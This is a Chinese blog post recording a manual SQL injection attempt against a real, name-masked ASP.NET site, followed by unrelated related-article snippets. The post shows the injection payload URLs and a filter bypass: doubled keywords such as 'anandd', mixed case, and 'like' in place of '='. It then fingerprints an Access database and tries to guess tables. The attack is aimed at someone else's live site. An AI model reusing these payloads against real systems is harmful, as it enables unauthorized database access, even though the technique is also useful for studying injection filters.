过滤'and','or' ''' '*' '=' ‘select’下的注入
遇到一个站:http://www.马赛克.net/intro.aspx?id=6
加了单引号 http://www.马赛克.net/intro.aspx?id=6‘ 页面无变化
加了双引号 http://www.马赛克.net/intro.aspx?id=6" 报错
符串的语法错误 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6" ) order by id_sort' 中。
可以看到 注入点 在()中
测试 and 1=1 and 1=2 or 1=1 报错
语法错误。 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6 11 )' 中
可以看到 and or = 等关键字 被”吃掉了“
经测试 并没有进行循环查找过滤 and or 等字符
绕后方法 anandd oror And(大小写)
http://www.马赛克.net/intro.aspx?id=6 anandd 1=1 返回正常
http://www.马赛克.net/intro.aspx?id=6 anandd 1=2 返回也正常
因为知道 = 也被“吃掉”了 所以用 'like' 代替
http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 1 返回正常
http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 2 返回也正常
--------------------
http://www.马赛克.net/intro.aspx?id=6 anandd exists(select id from sysobjects) 报错 select 也被“吃掉”了
语法错误。 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6 and exists( id from sysobjects) )' 中。
紧接着,我在在数据库版本上花了很多时间 第一直觉认为是 aspx + mssql 组合
然后在绕过语句上测试了很多,无法绕后,后来从猜测数据库类型开始猜 得出结论是 access数据库
--------------------
知道了绕过方法,和数据库类型,剩下的就是猜数据了,不过由于字典不给力 并未猜出任何表(除了报错时显示的“tab_intro_info”),任何数据
由于表的组合比较变态 tab_intro_info 也就没有继续猜下去
过滤'and','or' ''' '*' '=' ‘select’下的注入的更多相关文章
- Mssql显错和不显错模式下的注入
Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51 近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用! -------------------- ...
- 简述Object(ActiveX)控件遮挡Dialog、select下拉框的解决办法
1.背景 最近在做项目的过程中,我们使用了Object控件,但是同时在上面写了一个select下拉框,因此每次点击下拉框的时候我们会发现,下拉框的部分内容被Object控件给遮挡了,调查研究后发现,我 ...
- 实现select下拉框的无限加载(懒加载)
在实际开发中我们有时无法避免select下拉功能数据过大导致页面卡顿(如在我在一次迭代中有一个select项接口返回了5000多条数据).用户体验差!结合实际开发给出了3个解决方案: 方案1.sele ...
- s:select下拉框validation验证
S:select下拉框验证: <td colspan="5"> <s:select name="vo.typeVO.corp" list=&q ...
- 自定义样式的select下拉框深入探索
第一个版本: 首先实现自定义select下拉框应该具有的功能,我是选择将原来的select隐藏掉,自己在jquery代码中动态写进去<dl><dd><dt>这样的结 ...
- jquery取消选择select下拉框
有三个select下拉框一个大类,两个小类隐藏,需要在选择大类的时候,小类显示同时清除另外的小类选择的项这需求有点儿.......... 下面是三个select: <select name=&q ...
- css解决select下拉表单option高度的办法
css在给select下拉表单设置样式如边框时可以轻松搞定,而我们在不喜欢其默认的下拉箭头的样式时试图通过background:url(图片路径)来修改之,则往往会出现浏览器的兼容性问题,在网上查了好 ...
- jQuery插件:模拟select下拉菜单
没搞那么复杂,工作中,基本够用.. <!doctype html> <html> <head> <meta charset="utf-8" ...
- html select 下拉箭头隐藏
html select 下拉箭头隐藏 <!DOCTYPE html> <html> <head lang="en"> <meta char ...
随机推荐
- gensim中TaggedDocument 怎么使用
我有两个目录,我想从中读取它们的文本文件并给它们贴上标签,但我不知道如何通过taggedDocument来实现这一点.我以为它可以作为标记文档([strings],[labels])工作,但这显然不起 ...
- python内置模块-random
print(random.randint(1,10)) 生成随机整数,下限必须小于上限print(random.randrange(1,10)) 生成随机整数,参数为([start],stop,[st ...
- SQLServer如何手动设置id值(主键)的自动增长
近期做东西,用到了对SQLServer数据库的操作.好吧,确实好久没看了,对这个数据库陌生到了极点,连最简单的如何设置一个id主键,让它随着插入数据的增多,自动增长id值的设置都忘记了,网上查了一下, ...
- Java-Class-FC:java.util.Optional
ylbtech-Java-Class-FC:java.util.Optional 1.返回顶部 2.返回顶部 1.1. import java.util.Optional; 1.2.1. @Api ...
- 机器学习基石笔记:Homework #4 Regularization&Validation相关习题
原文地址:https://www.jianshu.com/p/3f7d4aa6a7cf 问题描述 程序实现 # coding: utf-8 import numpy as np import math ...
- 剑指offer——66翻转字符串
题目描述 牛客最近来了一个新员工Fish,每天早晨总是会拿着一本英文杂志,写些句子在本子上.同事Cat对Fish写的内容颇感兴趣,有一天他向Fish借来翻看,但却读不懂它的意思.例如,“student ...
- opencv bwlabel
int bwLabel(const Mat& imgBw, Mat& imgLabeled) { Mat imgClone = Mat(imgBw.rows + , imgBw.col ...
- nashorn中js数组转为对象的问题
背景 在项目中,使用jdk中的nashorn执行javascript脚本,例如如下脚本片段: let ctx = session.ctx; ctx.confirm = { //车牌划分后的数组 seg ...
- 什么是URI、URL、URN、URC和Data URI?
前言 不知道大家有没有电话拨号通过'猫'上网的经历,那时测试网络是否连接,最好的方式就是打开浏览器输入: www.baidu.com 那会管这一连串字母叫' 网址 '.之后上大学(计算机专业),知道了 ...
- C#异步编程----async和await组合的写法
微软示例: private async void StartButton_Click(object sender, RoutedEventArgs e) { // ExampleMethodAsync ...